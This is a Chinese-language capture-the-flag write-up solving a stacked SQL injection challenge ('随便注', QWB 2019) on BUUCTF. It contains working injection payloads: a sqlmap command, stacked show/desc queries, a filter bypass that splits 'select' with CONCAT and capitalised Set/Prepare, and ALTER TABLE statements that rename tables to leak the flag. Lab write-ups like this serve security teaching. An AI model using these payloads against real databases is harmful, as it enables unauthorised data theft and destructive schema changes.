BUUCTF-Web-[强网杯 2019]随便注
打开题目环境,界面如下:
提交参数,正常返回数据:
提交1‘,出现报错:
error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1''' at line 1
应该是双引号注入,奈何手工注入水平有限,只能使用sqlmap跑了。打开sqlmap
python3 sqlmap.py -u http://3ee310b4-c31a-4cff-b9fc-89923494ab46.node3.buuoj.cn/?inject=1 --dbs -v 3
结果如下:
available databases [1]:
[*] supersq
后来尝试,发现不行。查看大佬writerup,发现是堆叠注入。解题步骤如下:
1.探测注入:
1' 报错
1'# 正常且为True
1' and 1=1# 正常且为True
1' and 1=2# 正常且为False
可以得知存在注入,并且参数使用单引号闭合。
2.尝试获取列数
1' order by 1#
1' order by 2#
1' order by 3# 报错
得出列数为2
- 尝试获取数据库名,用户等基本信息
结果提示
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
这里过滤了select,也没有发现绕过select的地方(大小写,加注释)。
4.通过测试发现存在堆叠注入,显示尝试爆出库名
-1';show databases#
结果如下:
array(1) {
[0]=>
string(11) "ctftraining"
}
array(1) {
[0]=>
string(18) "information_schema"
}
array(1) {
[0]=>
string(5) "mysql"
}
array(1) {
[0]=>
string(18) "performance_schema"
}
array(1) {
[0]=>
string(9) "supersqli"
}
array(1) {
[0]=>
string(4) "test"
}
5.爆表名
-1';show tables#
结果如下:
array(1) {
[0]=>
string(16) "1919810931114514"
}
array(1) {
[0]=>
string(5) "words"
}
6.爆字段
-1';desc `1919810931114514`#
-1';desc `words`#
# 也可以用以下方式
-1';show columns from `1919810931114514`#
-1';show columns from `words`#
# 注意,以上表名要加反引号
结果如下:
array(6) {
[0]=>
string(4) "flag"
[1]=>
string(12) "varchar(100)"
[2]=>
string(2) "NO"
[3]=>
string(0) ""
[4]=>
NULL
[5]=>
string(0) ""
}
7.查数据
上一步我们可以得知flag存在于supersqli数据库中的1919810931114514表的flag字段。
接下来要读取此字段内的数据,我们要执行的目标语句是:
select * from `1919810931114514`;
这里需要绕过select的限制,我们可以使用预编译的方式。
预编译相关语法如下:
set用于设置变量名和值
prepare用于预备一个语句,并赋予名称,以后可以引用该语句
execute执行语句
deallocate prepare用来释放掉预处理的语句
最终payload如下:
-1';set @sql = CONCAT('se','lect * from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;#
拆分开来如下
-1';
set @sql = CONCAT('se','lect * from `1919810931114514`;');
prepare stmt from @sql;
EXECUTE stmt;
#
结果为:
strstr($inject, "set") && strstr($inject, "prepare")
这里检测到了set和prepare关键词,但strstr这个函数并不能区分大小写,我们将其大写即可。
-1';Set @sql = CONCAT('se','lect * from `1919810931114514`;');Prepare stmt from @sql;EXECUTE stmt;#
拆分开来如下:
-1';
Set @sql = CONCAT('se','lect * from `1919810931114514`;');
Prepare stmt from @sql;
EXECUTE stmt;
#
最终获得flag。
array(1) {
[0]=>
string(42) "flag{86eda795-1fad-43ac-b5c1-a2bed5d40430}"
}
方法2:绕过select还有第二个方法,更改表名列名。
由上面的探测我们可以猜测出这里会查询出words表的data列的结果。也就是类似于下面的sql语句:
select * from words where id = '';
我们将表1919810931114514名字改为words,flag列名字改为id,那么就能得到flag的内容了。
修改表名和列名的语法如下:
修改表名(将表名user改为users)
alter table user rename to users;
修改列名(将字段名username改为name)
alter table users change uesrname name varchar(30);
最终payload如下:
1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#
拆分开来如下
1';
alter table words rename to words1;
alter table `1919810931114514` rename to words;
alter table words change flag id varchar(50);
#
然后使用1' or 1=1#
即可查询出flag